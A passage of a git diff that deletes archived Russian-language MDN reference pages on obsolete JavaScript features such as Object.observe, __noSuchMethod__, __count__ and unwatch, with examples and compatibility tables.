-Number.toInteger(Math.PI); // 3
-Number.toInteger(null); // 0
-</pre>
-
-<h2 id="Specifications" name="Specifications">Спецификации</h2>
-<ul>
- <li><code>Number.toInteger()</code> был частью черновика спецификации ECMAScript 6, но он был удалён 23 августа 2013 г. в 17 ревизии черновика.</li>
-</ul>
-
-<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
-<div>{{CompatibilityTable}}</div>
-<div id="compat-desktop">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>Firefox с версии 16 по версию 32</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-<div id="compat-mobile">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Android</th>
- <th>Chrome для Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>Firefox с версии 16 по версию 32</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-
-<h2 id="See_also" name="See_also">Смотрите также</h2>
-<ul>
- <li>Объект {{jsxref("Global_Objects/Number", "Number")}}, которому принадлежит этот метод.</li>
-</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/count/index.html b/files/ru/web/javascript/reference/global_objects/object/count/index.html
deleted file mode 100644
index 7308b40b0f..0000000000
--- a/files/ru/web/javascript/reference/global_objects/object/count/index.html
+++ /dev/null
@@ -1,83 +0,0 @@
----
-title: Object.prototype.__count__
-slug: Web/JavaScript/Reference/Global_Objects/Object/count
-tags:
- - JavaScript
- - Object
- - Obsolete
- - Property
- - Prototype
- - Reference
-translation_of: Archive/Web/JavaScript/Object.count
----
-<div>{{JSRef("Global_Objects", "Object")}} {{obsolete_header("2")}}</div>
-
-<h2 id="Summary" name="Summary">Сводка</h2>
-<p>Свойство <strong><code>__count__</code></strong> использовалось для хранения количества перечисляемых свойств объекта, но было удалено.</p>
-
-<h2 id="Syntax" name="Syntax">Синтаксис</h2>
-<pre class="syntaxbox"><code><var>obj</var>.__count__</code></pre>
-
-<h2 id="Description" name="Description">Пример</h2>
-<pre class="brush: js">{ 1: 1 }.__count__ // 1
-[].__count__ // 0
-[1].__count__ // 1
-[1, /* дыра */, 2, 3].__count__ // 3
-</pre>
-
-<h2 id="Specifications" name="Specifications">Спецификации</h2>
-<p>Не является частью какой-либо спецификации.</p>
-
-<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
-<div>{{CompatibilityTable}}</div>
-<div id="compat-desktop">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-<div id="compat-mobile">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Android</th>
- <th>Chrome для Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-
-<h2 id="See_also" name="See_also">Смотрите также</h2>
-<ul>
- <li><a class="external" href="http://whereswalden.com/2010/04/06/more-changes-coming-to-spidermonkey-the-magical-__count__-property-of-objects-is-being-removed/">[Запись в блоге] В SpiderMonkey грядут большие изменения: магическое свойство __count__ будет удалено</a> (англ.)</li>
-</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/eval/index.html b/files/ru/web/javascript/reference/global_objects/object/eval/index.html
deleted file mode 100644
index e6b8e3668f..0000000000
--- a/files/ru/web/javascript/reference/global_objects/object/eval/index.html
+++ /dev/null
@@ -1,81 +0,0 @@
----
-title: Object.prototype.eval()
-slug: Web/JavaScript/Reference/Global_Objects/Object/eval
-tags:
- - JavaScript
- - Method
- - Object
- - Obsolete
- - Prototype
-translation_of: Archive/Web/JavaScript/Object.eval
----
-<div>
- {{JSRef("Global_Objects", "Object")}} {{obsolete_header}}</div>
-<h2 id="Summary" name="Summary">Сводка</h2>
-<p>Метод <code><strong>Object.eval()</strong></code> использовался для вычисления строки JavaScript-кода в контексте объекта, однако, был удалён.</p>
-<h2 id="Syntax" name="Syntax">Синтаксис</h2>
-<pre class="syntaxbox"><code><var>obj</var>.eval(<var>string</var>)</code></pre>
-<h3 id="Parameters" name="Parameters">Параметры</h3>
-<dl>
- <dt>
- <code>string</code></dt>
- <dd>
- Любая строка, представляющая выражение, инструкцию или последовательность инструкций JavaScript. Выражение может содержать переменые и свойства существующих объектов.</dd>
-</dl>
-<h2 id="Description" name="Description">Описание</h2>
-<p>Метод <code>eval</code> больше не используется как метод объекта. Вместо него используйте глобальную функцию {{jsxref("Global_Objects/eval", "eval()")}}.</p>
-<h2 id="Specifications" name="Specifications">Спецификации</h2>
-<p>Не является частью какой-либо спецификации.</p>
-<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
-<div>
- {{CompatibilityTable}}</div>
-<div id="compat-desktop">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-<div id="compat-mobile">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Android</th>
- <th>Chrome для Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-<h2 id="See_also" name="See_also">Смотрите также</h2>
-<ul>
- <li>{{jsxref("Global_Objects/eval", "eval()")}}</li>
-</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/getnotifier/index.html b/files/ru/web/javascript/reference/global_objects/object/getnotifier/index.html
deleted file mode 100644
index 1947d51f73..0000000000
--- a/files/ru/web/javascript/reference/global_objects/object/getnotifier/index.html
+++ /dev/null
@@ -1,47 +0,0 @@
----
-title: Object.getNotifier()
-slug: Web/JavaScript/Reference/Global_Objects/Object/getNotifier
-translation_of: Archive/Web/JavaScript/Object.getNotifier
----
-<div>{{JSRef}} {{obsolete_header}}</div>
-
-<p>Метод <strong><code>Object.getNotifer()</code></strong> использовался для создания объекта, который позволяет синтетически инициировать изменение, но не рекомендуется  и удаляется в браузерах.</p>
-
-<h2 id="Синтаксис">Синтаксис</h2>
-
-<pre class="syntaxbox">Object.getNotifier(<em>obj</em>)</pre>
-
-<h3 id="Параметры">Параметры</h3>
-
-<dl>
- <dt><code>obj</code></dt>
- <dd>Объект для извлечения уведомителя.</dd>
-</dl>
-
-<h3 id="Возращаемое_значение">Возращаемое значение</h3>
-
-<p>Объект увидомителя, связанный с объектом, передаваемым в функцию.</p>
-
-<h2 id="Описание">Описание</h2>
-
-<p>Уведомитель используется для запуска искусственных изменений, которые будут обнаружены <code>Object.observe()</code>.</p>
-
-<h2 id="Спецификации">Спецификации</h2>
-
-<p><a href="https://github.com/arv/ecmascript-object-observe">Strawman proposal specification.</a></p>
-
-<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
-
-<div>
-<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
-
-<p>{{Compat("javascript.builtins.Object.getNotifier")}}</p>
-</div>
-
-<h2 id="Смотрите_также">Смотрите также</h2>
-
-<ul>
- <li>{{jsxref("Object.observe()")}} {{obsolete_inline}}</li>
- <li>{{jsxref("Object.unobserve()")}} {{obsolete_inline}}</li>
- <li>{{jsxref("Array.observe()")}} {{obsolete_inline}}</li>
-</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/nosuchmethod/index.html b/files/ru/web/javascript/reference/global_objects/object/nosuchmethod/index.html
deleted file mode 100644
index 6f0827751f..0000000000
--- a/files/ru/web/javascript/reference/global_objects/object/nosuchmethod/index.html
+++ /dev/null
@@ -1,195 +0,0 @@
----
-title: Object.prototype.__noSuchMethod__
-slug: Web/JavaScript/Reference/Global_Objects/Object/noSuchMethod
-tags:
- - JavaScript
- - Non-standard
- - Object
- - Property
- - Prototype
- - Reference
-translation_of: Archive/Web/JavaScript/Object.noSuchMethod
----
-<div>{{JSRef("Global_Objects", "Object")}} {{non-standard_header}}</div>
-
-<div>Хотя свойство <strong><code>__noSuchMethod__</code></strong> и нестандартно, спецификация ECMAScript Harmony (ES6) содержит объект <strong>{{jsxref("Proxy")}}</strong>, с помощью которого вы можете сделать всё тоже самое, что и при использовании этого свойством (и даже больше).</div>
-
-<h2 id="Summary" name="Summary">Сводка</h2>
-<p>Свойство <strong><code>__noSuchMethod__</code></strong> ссылается на функцию, выполняющуюся каждый раз при вызове на объекте несуществующего метода.</p>
-
-<h2 id="Syntax" name="Syntax">Синтаксис</h2>
-<pre class="syntaxbox"><code><var>obj</var>.__noSuchMethod__ = <var>fun</var></code></pre>
-
-<h3 id="Parameters" name="Parameters">Параметры</h3>
-<dl>
- <dt><code>fun</code></dt>
- <dd>Функция, имеющая вид</dd>
- <dd>
- <pre><code>function(<var>id</var>, <var>args</var>) { . . . }</code></pre>
- <dl>
- <dt><code>id</code></dt>
- <dd>Имя вызванного несуществующего метода</dd>
- <dt><code>args</code></dt>
- <dd>Массив аргументов, переданный в метод</dd>
- </dl>
- </dd>
-</dl>
-
-<h2 id="Description" name="Description">Описание</h2>
-<p>По умолчанию, при попытке вызвать не существующий в объекте метод, будет выброшено исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}. Это поведение можно обойти, определив функцию <code>__noSuchMethod__</code> в качестве члена объекта. Функция принимает два аргумента, первый является именем метода, который попытались вызвать, а второй — массивом аргументов, которые были переданы в метод при его вызове. Второй аргумент является настойщим массивом (то есть, он наследуется через цепочку прототипов от {{jsxref("Array.prototype")}}), а не массивоподобным <a href="/ru/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments">объектом arguments</a>.</p>
-<p>Если данный метод не может быть вызван, либо по причине того, что он установлен в {{jsxref("Global_Objects/undefined", "undefined")}} по умолчанию, либо удалён, либо вручную установлен в не-функцию, движок JavaScript вернётся к выбрасыванию исключения {{jsxref("Global_Objects/TypeError", "TypeError")}}.</p>
-
-<h2 id="Examples" name="Examples">Примеры</h2>
-
-<h3 id="Example:_Simple_test_of___noSuchMethod__" name="Example:_Simple_test_of___noSuchMethod__">Пример: простая проверка свойства <code>__noSuchMethod__</code></h3>
-<pre class="brush: js">var o = {
- __noSuchMethod__: function(id, args) { console.log(id, '(' + args.join(', ') + ')'); }
-};
-
-o.foo(1, 2, 3);
-o.bar(4, 5);
-o.baz();
-
-// Вывод
-// foo (1, 2, 3)
-// bar (4, 5)
-// baz ()
-</pre>
-
-<h3 id="Example:_Using___noSuchMethod___to_simulate_multiple_inheritance" name="Example:_Using___noSuchMethod___to_simulate_multiple_inheritance">Пример: использование свойства <code>__noSuchMethod__</code> для симуляции множественного наследования</h3>
-<p>Ниже показан пример кода, реализующего примитивную форму множественного наследования.</p>
-<pre class="brush: js">// Не работает с множественным наследованием объектов в качестве родителей
-function noMethod(name, args) {
- var parents = this.__parents_;
-
- // Пройдёмся по всем родителям
- for (var i = 0; i &lt; parents.length; i++) {
- // Если нашли функцию в родителе, вызовем её
- if (typeof parents[i][name] == 'function') {
- return parents[i][name].apply(this, args);
- }
- }
-
- // Если мы здесь, метод не был найден
- throw new TypeError;
-}
-
-// Используется для добавления родителя при множественном наследовании
-function addParent(obj, parent) {
- // Если объект ещё не инициализирован, инициализируем его
- if (!obj.__parents_) {
- obj.__parents_ = [];
- obj.__noSuchMethod__ = noMethod;
- }
-
- // Добавляем родителя
- obj.__parents_.push(parent);
-}
-</pre>
-<p>Ниже показан пример использования этой идеи.</p>
-<pre class="brush: js">// Пример первого базового класса
-
-function NamedThing(name) {
- this.name = name;
-}
-
-NamedThing.prototype = {
- getName: function() { return this.name; },
- setName: function(newName) { this.name = newName; }
-}
-
-// Пример второго базового класса
-
-function AgedThing(age){
- this.age = age;
-}
-
-AgedThing.prototype = {
- getAge: function() { return this.age; },
- setAge: function(age) { this.age = age; }
-}
-
-// Дочерний класс. Наследуется от NamedThing и AgedThing, а также определяет свойство address
-
-function Person(name, age, address) {
- addParent(this, NamedThing.prototype);
- NamedThing.call(this, name);
- addParent(this, AgedThing.prototype);
- AgedThing.call(this, age);
- this.address = address;
-}
-
-Person.prototype = {
- getAddr: function() { return this.address; },
- setAddr: function(addr) { this.address = addr; }
-}
-
-var bob = new Person('Боб', 25, 'Нью-Йорк');
-
-console.log('getAge лежит ' + (('getAge' in bob) ? 'в' : 'не в') + ' объекте bob');
-console.log('возраст Боба: ' + bob.getAge());
-console.log('getName лежит ' + (('getName' in bob) ? 'в' : 'не в') + ' объекте bob');
-console.log('имя Боба: ' + bob.getName());
-console.log('getAddr лежит ' + (('getAddr' in bob) ? 'в' : 'не в') + ' объекте bob');
-console.log('адрес Боба: ' + bob.getAddr());
-</pre>
-<p>Вывод примера будет следующим:</p>
-<pre>getAge лежит не в объекте bob
-возраст Боба: 25
-getName лежит не в объекте bob
-имя Боба: Боб
-getAddr лежит в объекте bob
-адрес Боба: Нью-Йорк
-</pre>
-
-<h2 id="Specifications" name="Specifications">Спецификации</h2>
-<p>Не является частью какой-либо спецификации.</p>
-
-<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
-<div>{{CompatibilityTable}}</div>
-<div id="compat-desktop">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatGeckoDesktop("1.0")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-<div id="compat-mobile">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Android</th>
- <th>Chrome для Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatGeckoMobile("1.0")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
- </table>
-</div>
diff --git a/files/ru/web/javascript/reference/global_objects/object/observe/index.html b/files/ru/web/javascript/reference/global_objects/object/observe/index.html
deleted file mode 100644
index 25fe9c879b..0000000000
--- a/files/ru/web/javascript/reference/global_objects/object/observe/index.html
+++ /dev/null
@@ -1,142 +0,0 @@
----
-title: Object.observe()
-slug: Web/JavaScript/Reference/Global_Objects/Object/observe
-tags:
- - ECMAScript7
- - Experimental
- - JavaScript
- - Method
- - Object
- - Reference
-translation_of: Archive/Web/JavaScript/Object.observe
----
-<div>{{JSRef("Global_Objects", "Object")}}</div>
-
-<h2 id="Summary" name="Summary">Сводка</h2>
-
-<p>Метод <strong><code>Object.observe()</code></strong> используется для асинхронного обзора изменений в объекте. Он предоставляет поток изменений в порядке их возникновения.</p>
-
-<h2 id="Syntax" name="Syntax">Синтаксис</h2>
-
-<pre class="syntaxbox"><code>Object.observe(<var>obj</var>, <var>callback</var>)</code></pre>
-
-<h3 id="Parameters" name="Parameters">Параметры</h3>
-
-<dl>
- <dt><code>obj</code></dt>
- <dd>Обозреваемый объект.</dd>
- <dt><code>callback</code></dt>
- <dd>Функция, вызываемая при возникновении изменений в объекте, принимает следующий аргумент:
- <dl>
- <dt><code>changes</code></dt>
- <dd>Массив объектов, представляющих одно изменение. Объекты с изменениями содержат следующие свойства:
- <ul>
- <li><strong><code>name</code></strong>: имя изменённого свойства.</li>
- <li><strong><code>object</code></strong>: изменённый объект после изменения.</li>
- <li><strong><code>type</code></strong>: строка, указывающая тип произошедшего изменения. Может принимать одно из значений: <code>"add"</code>, <code>"update"</code> или <code>"delete"</code>.</li>
- <li><strong><code>oldValue</code></strong>: только для типов <code>"update"</code> и <code>"delete"</code>. Значение до изменения.</li>
- </ul>
- </dd>
- </dl>
- </dd>
-</dl>
-
-<h2 id="Description" name="Description">Описание</h2>
-
-<p>Функция <code>callback</code> вызывается каждый раз при возникновении изменений в объекте <code>obj</code> с массивом всех изменений в порядке их возникновения.</p>
-
-<h2 id="Examples" name="Examples">Примеры</h2>
-
-<h3 id="Example.3A_Logging_all_three_different_types" name="Example.3A_Logging_all_three_different_types">Пример: журналирование всех трёх типов изменений</h3>
-
-<pre class="brush: js">var obj = {
- foo: 0,
- bar: 1
-};
-
-Object.observe(obj, function(changes) {
- console.log(changes);
-});
-
-obj.baz = 2;
-// [{name: 'baz', object: &lt;obj&gt;, type: 'add'}]
-
-obj.foo = 'hello';
-// [{name: 'foo', object: &lt;obj&gt;, type: 'update', oldValue: 0}]
-
-delete obj.baz;
-// [{name: 'baz', object: &lt;obj&gt;, type: 'delete', oldValue: 2}]
-</pre>
-
-<h3 id="Example.3A_Data_Binding" name="Example.3A_Data_Binding">Пример: привязка данных</h3>
-
-<pre class="brush: js">// Пользовательская модель
-var user = {
- id: 0,
- name: 'Брендан Айк',
- title: 'М-р.'
-};
-
-// Создаёт приветствие для пользователя
-function updateGreeting() {
- user.greeting = 'Здравствуйте, ' + user.title + ' ' + user.name + '!';
-}
-updateGreeting();
-
-Object.observe(user, function(changes) {
- changes.forEach(function(change) {
- // Любое изменение имени или обращения обновит привествие
- if (change.name === 'name' || change.name === 'title') {
- updateGreeting();
- }
- });
-});
-</pre>
-
-<p> </p>
-
-<h3 id="Custom_change_type">Custom change type</h3>
-
-<pre><code>// A point on a 2D plane
-var point = {x: 0, y: 0, distance: 0};
-
-function setPosition(pt, x, y) {
- // Performing a custom change
- Object.getNotifier(pt).performChange('reposition', function() {
- var oldDistance = pt.distance;
- pt.x = x;
- pt.y = y;
- pt.distance = Math.sqrt(x * x + y * y);
- return {oldDistance: oldDistance};
- });
-}
-
-Object.observe(point, function(changes) {
- console.log('Distance change: ' + (point.distance - changes[0].oldDistance));
-}, ['reposition']);
-
-setPosition(point, 3, 4);
-// Distance change: 5</code></pre>
-
-<p> </p>
-
-<h2 id="Specifications" name="Specifications">Спецификации</h2>
-
-<p><a href="https://github.com/arv/ecmascript-object-observe">Черновое предложение к обсуждению для ECMAScript 7</a>.</p>
-
-<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
-
-<div> </div>
-
-<div class="hidden">
-<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
-</div>
-
-<p>{{Compat("javascript.builtins.Object.observe")}}</p>
-
-<h2 id="See_also" name="See_also">Смотрите также</h2>
-
-<ul>
- <li>{{jsxref("Object.unobserve()")}} {{experimental_inline}}</li>
- <li>{{jsxref("Array.observe()")}} {{experimental_inline}}</li>
-</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/parent/index.html b/files/ru/web/javascript/reference/global_objects/object/parent/index.html
deleted file mode 100644
index d9e5c1ddd9..0000000000
--- a/files/ru/web/javascript/reference/global_objects/object/parent/index.html
+++ /dev/null
@@ -1,75 +0,0 @@
----
-title: Object.prototype.__parent__
-slug: Web/JavaScript/Reference/Global_Objects/Object/parent
-tags:
- - JavaScript
- - Object
- - Obsolete
- - Property
- - Prototype
-translation_of: Archive/Web/JavaScript/Object.parent
----
-<div>
- {{JSRef("Global_Objects", "Object")}} {{obsolete_header("2")}}</div>
-<h2 id="Summary" name="Summary">Сводка</h2>
-<p>Свойство <strong><code>__parent__</code></strong> использовалось для указания контекста объекта, но было удалено.</p>
-<h2 id="Syntax" name="Syntax">Синтаксис</h2>
-<pre class="syntaxbox"><code><var>obj</var>.__parent__</code></pre>
-<h2 id="Description" name="Description">Описание</h2>
-<p>Для объектов верхнего уровня, это, например, окно.</p>
-<h2 id="Specifications" name="Specifications">Спецификации</h2>
-<p>Не является частью какой-либо спецификации.</p>
-<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
-<div>
- {{CompatibilityTable}}</div>
-<div id="compat-desktop">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-<div id="compat-mobile">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Android</th>
- <th>Chrome для Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-<h2 id="See_also" name="See_also">Смотрите также</h2>
-<ul>
- <li><a class="external" href="http://whereswalden.com/2010/05/07/spidermonkey-change-du-jour-the-special-__parent__-property-has-been-removed/">Изменение дня в SpiderMonkey: специальное свойство __parent__ будет удалено</a></li>
- <li><a href="/ru/docs/Components.utils.getGlobalForObject">Components.utils.getGlobalForObject</a></li>
-</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/unobserve/index.html b/files/ru/web/javascript/reference/global_objects/object/unobserve/index.html
deleted file mode 100644
index bf3ef676f3..0000000000
--- a/files/ru/web/javascript/reference/global_objects/object/unobserve/index.html
+++ /dev/null
@@ -1,97 +0,0 @@
----
-title: Object.unobserve()
-slug: Web/JavaScript/Reference/Global_Objects/Object/unobserve
-translation_of: Archive/Web/JavaScript/Object.unobserve
----
-<div>{{JSRef}} {{obsolete_header}}</div>
-
-<p>Метод <strong><code>Object.unobserve()</code></strong> удаляет наблюдатель, который был добавлен с помощью {{jsxref("Object.observe()")}}. Вы можете использовать {{jsxref("Proxy")}} вместо данного метода.</p>
-
-<h2 id="Синтаксис">Синтаксис</h2>
-
-<pre class="syntaxbox">Object.unobserve(<var>obj</var>, <var>callback</var>)</pre>
-
-<h3 id="Параметры">Параметры</h3>
-
-<dl>
- <dt><code>obj</code></dt>
- <dd>Объект, за которым необходимо прекратить наблюдение.</dd>
- <dt><code>callback</code></dt>
- <dd>Ссылка на наблюдатель, который нужно остановить на <code>obj</code>.</dd>
-</dl>
-
-<h3 id="Возаращаемое_значение">Возаращаемое значение</h3>
-
-<p>Указанный объект.</p>
-
-<h2 id="Описание">Описание</h2>
-
-<p><code>Object.unobserve()</code> вызывается после {{jsxref("Object.observe()")}}, чтобы удалить наблюдатель на объекте.</p>
-
-<p>В <code>callback</code> нужно передавать ссылку на функцию, которая не является анонимной. Если вызвать <strong>Object.unobserve()</strong> с анонмной функцией в <code>callback</code>, то ни один наблюдатель не будет удалён.</p>
-
-<h2 id="Примеры">Примеры</h2>
-
-<h3 id="Удаление_наблюдателя_с_объекта">Удаление наблюдателя с объекта</h3>
-
-<pre class="brush: js">var obj = {
- foo: 0,
- bar: 1
-};
-
-var observer = function(changes) {
- console.log(changes);
-}
-
-Object.observe(obj, observer);
-​
-obj.newProperty = 2;
-// [{name: 'newProperty', object: &lt;obj&gt;, type: 'add'}]
-
-Object.unobserve(obj, observer);
-
-obj.foo = 1;
-// callback не был вызван</pre>
-
-<h3 id="Вызов_с_анонимной_функцией">Вызов с анонимной функцией</h3>
-
-<pre class="brush: js">var person = {
- name: 'Ahmed',
- age: 25
-};
-
-Object.observe(person, function(changes) {
- console.log(changes);
-});
-
-person.age = 40;
-// [{name: 'age', object: &lt;obj&gt;, oldValue: 25, type: 'update'}]
-
-Object.unobserve(person, function(changes) {
- console.log(changes);
-});
-
-person.age = 63;
-// [{name: 'age', object: &lt;obj&gt;, oldValue: 40, type: 'update'}]
-// callback был вызван
-</pre>
-
-<h2 id="Спецификации">Спецификации</h2>
-
-<p><a href="https://github.com/arv/ecmascript-object-observe">Strawman proposal specification</a>.</p>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<div>
-
-
-<p>{{Compat("javascript.builtins.Object.unobserve")}}</p>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li>{{jsxref("Object.observe()")}} {{obsolete_inline}}</li>
- <li>{{jsxref("Array.observe()")}} {{obsolete_inline}}</li>
- <li>{{jsxref("Array.unobserve()")}} {{obsolete_inline}}</li>
-</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/unwatch/index.html b/files/ru/web/javascript/reference/global_objects/object/unwatch/index.html
deleted file mode 100644
index e862406f3d..0000000000
--- a/files/ru/web/javascript/reference/global_objects/object/unwatch/index.html
+++ /dev/null
@@ -1,93 +0,0 @@
----
-title: Object.prototype.unwatch()
-slug: Web/JavaScript/Reference/Global_Objects/Object/unwatch
-tags:
- - JavaScript
- - Method
- - Non-standard
- - Object
- - Prototype
-translation_of: Archive/Web/JavaScript/Object.unwatch
----
-<div>
- {{JSRef("Global_Objects", "Object")}}</div>
-<div class="warning">
- <p><strong>Предупреждение:</strong> обычно, при возможности, вам следует избегать использования <code>unwatch()</code> и {{jsxref("Object.prototype.watch", "watch()")}}. Эти два метода реализованы только в Gecko, и они, в основном, предназначены только для отладочных целей. Кроме того, использование точек наблюдения серьёзно бъёт по производительности, что особенно заметно при использовании их на глобальных объектах, например <code>window</code>. Обычно вместо них вы можете использовать <a href="/ru/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">сеттеры и геттеры</a> или прокси. Для более подробной информации смотрите раздел {{anch("Browser_compatibility", "Совместимость с браузерами")}}.</p>
-</div>
-<h2 id="Summary" name="Summary">Сводка</h2>
-<p>Метод <code><strong>unwatch()</strong></code> удаляет точку наблюдения, установленную методом {{jsxref("Object.prototype.watch", "watch()")}}.</p>
-<h2 id="Syntax" name="Syntax">Синтаксис</h2>
-<pre class="syntaxbox"><code><var>obj</var>.unwatch(<var>prop</var>)</code></pre>
-<h3 id="Parameters" name="Parameters">Параметры</h3>
-<dl>
- <dt>
- <code>prop</code></dt>
- <dd>
- Имя свойства объекта, чьи изменения вы хотите прекратить отслеживать.</dd>
-</dl>
-<h2 id="Description" name="Description">Описание</h2>
-<p>Отладчик JavaScript имеет функциональность, аналогичную предоставляемой этим методом, а также и другие возможности отладки. Информацию по отладчику можно получить в статье про <a href="/ru/docs/Venkman">Venkman</a>.</p>
-<p>По умолчанию, этот метод наследуется каждым объектом, произошедшим от {{jsxref("Global_Objects/Object", "Object")}}.</p>
-<div class="note">
- <p><strong>Примечание:</strong> причина, по которой метод <code>unwatch()</code> принимает единственным параметром только имя свойства <em>prop</em> в том, что для метода {{jsxref("Object.watch", "watch()")}} разрешён только один обработчик.</p>
-</div>
-<h2 id="Examples" name="Examples">Примеры</h2>
-<p>Смотрите метод {{jsxref("Object.watch", "watch()")}}.</p>
-<h2 id="Specifications" name="Specifications">Спецификации</h2>
-<p>Не является частью какой-либо спецификации. Реализована в JavaScript 1.2.</p>
-<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
-<div>
- {{CompatibilityTable}}</div>
-<div id="compat-desktop">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
